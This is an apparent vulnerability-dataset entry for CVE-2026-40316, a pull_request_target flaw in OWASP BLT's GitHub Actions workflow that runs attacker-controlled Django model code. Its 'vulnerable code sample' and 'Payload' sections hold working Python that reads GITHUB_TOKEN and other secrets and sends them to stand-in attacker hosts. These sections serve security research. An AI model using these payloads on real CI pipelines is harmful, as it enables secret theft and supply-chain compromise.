CVE-2026-40316
RCE in OWASP BLT GitHub Actions workflow via malicious pull request.
- CVSS 8.8
- CWE-94
- Configuration Issues
- Remote
OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Versions prior to 2.1.1 contain an RCE vulnerability in the .github/workflows/regenerate-migrations.yml workflow. The workflow uses the pull_request_target trigger to run with full GITHUB_TOKEN write permissions, copies attacker-controlled files from untrusted pull requests into the trusted runner workspace via git show, and then executes python manage.py makemigrations, which imports Django model modules including attacker-controlled website/models.py at runtime. Any module-level Python code in the attacker's models.py is executed during import, enabling arbitrary code execution in the privileged CI environment with access to GITHUB_TOKEN and repository secrets. The attack is triggerable by any external contributor who can open a pull request, provided a maintainer applies the regenerate-migrations label, potentially leading to secret exfiltration, repository compromise, and supply chain attacks. A patch for this issue is expected to be released in version 2.1.1.
- CWE
- CWE-94
- CVSS base score
- 8.8
- Published
- 2026-04-15
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Build/Package/Merge
- Code defect classification
- Missing Check
- Category
- Configuration Issues
- Subcategory
- Remote File Inclusion (RFI)
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- OWASP BLT
Solution
Upgrade to OWASP BLT version 2.1.1 or later.
Vulnerable code sample
# /website/models.py
# This file contains malicious code that would be executed by the vulnerable GitHub Actions workflow.
# The code runs upon module import when `python manage.py makemigrations` is executed by the CI runner.
import os
import requests
from django.db import models
# --- Malicious Payload ---
# This code is executed immediately when the models.py file is imported.
try:
# URL of the attacker's server to receive the stolen secrets
attacker_server_url = "https://attacker.example.com/secrets"
# Collect sensitive environment variables from the GitHub Actions runner
sensitive_data = {
"github_token": os.environ.get("GITHUB_TOKEN"),
"repo_secrets": {key: val for key, val in os.environ.items() if "SECRET" in key.upper()}
}
# Exfiltrate the data to the attacker's server
requests.post(attacker_server_url, json=sensitive_data, timeout=5)
except Exception:
# Fail silently to avoid raising suspicion
pass
# --- End of Malicious Payload ---
# A legitimate-looking Django model to make the file appear normal
class ExampleModel(models.Model):
name = models.CharField(max_length=100)
created_at = models.DateTimeField(auto_now_add=True)Patched code sample
The actual fix for this CVE is a change in the GitHub Actions YAML workflow file (`.github/workflows/regenerate-migrations.yml`), not in a Python file. The vulnerability was that the workflow executed untrusted Python code.
A conceptual fix in Python would involve processing the untrusted file without executing it. The following code demonstrates this principle. It safely inspects a potentially malicious Python file to find Django model definitions using Python's Abstract Syntax Tree (AST) module, which parses code without running it, thus preventing the Remote Code Execution.
```python
import ast
import os
def get_class_names_safely(filepath: str) -> list:
"""
Safely parses a Python file to find class names without executing it.
This function represents a fix for the vulnerability pattern. Instead of
a direct and unsafe `import` of untrusted code, it uses the `ast` module
to build a structural representation of the code. This allows for
inspection without triggering module-level code execution, preventing RCE.
"""
try:
with open(filepath, "r") as source:
# ast.parse is the key to the fix. It reads the code as data
# and builds a syntax tree, but does NOT execute it.
tree = ast.parse(source.read())
# Walk the tree to find all class definition nodes and extract their names.
class_names = [node.name for node in ast.walk(tree) if isinstance(node, ast.ClassDef)]
return class_names
except (FileNotFoundError, SyntaxError) as e:
print(f"Error safely parsing file {filepath}: {e}")
return []
# --- Demonstration of the fix ---
# 1. Simulate the attacker's malicious `models.py` file from a pull request.
# This file contains a malicious payload at the module level.
malicious_code_path = "untrusted_models.py"
with open(malicious_code_path, "w") as f:
f.write("""
import os
# --- MALICIOUS PAYLOAD ---
# This code executes automatically if the file is imported directly.
# In the CVE, this would run in the CI environment with access to secrets.
print("!!! RCE TRIGGERED: Attempting to exfiltrate secrets... !!!")
os.system("echo 'Secret value: $GITHUB_TOKEN'")
# --- END PAYLOAD ---
# A legitimate-looking class to make the PR appear harmless.
class UserProfileModel:
pass
""")
# 2. In a vulnerable system, `import untrusted_models` would execute the payload.
# Here, we demonstrate the fix by using our safe function instead.
print(f"--- Securely scanning '{malicious_code_path}' ---")
found_classes = get_class_names_safely(malicious_code_path)
# 3. The output shows that the class was found, but the malicious code did not run.
print(f"\nScan complete. The malicious `print` and `os.system` calls were NOT executed.")
print(f"Safely discovered classes: {found_classes}")
# 4. Clean up the dummy file.
os.remove(malicious_code_path)Payload
import os
import urllib.request
import json
ATTACKER_SERVER_URL = "https://your-attacker-server.com/exfil"
try:
data = json.dumps(dict(os.environ)).encode("utf-8")
req = urllib.request.Request(
ATTACKER_SERVER_URL,
data=data,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
except Exception:
pass
from django.db import models
class Post(models.Model):
title = models.CharField(max_length=200)
content = models.TextField()
Cite this entry
@misc{vaitp:cve202640316,
title = {{RCE in OWASP BLT GitHub Actions workflow via malicious pull request.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40316},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40316/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
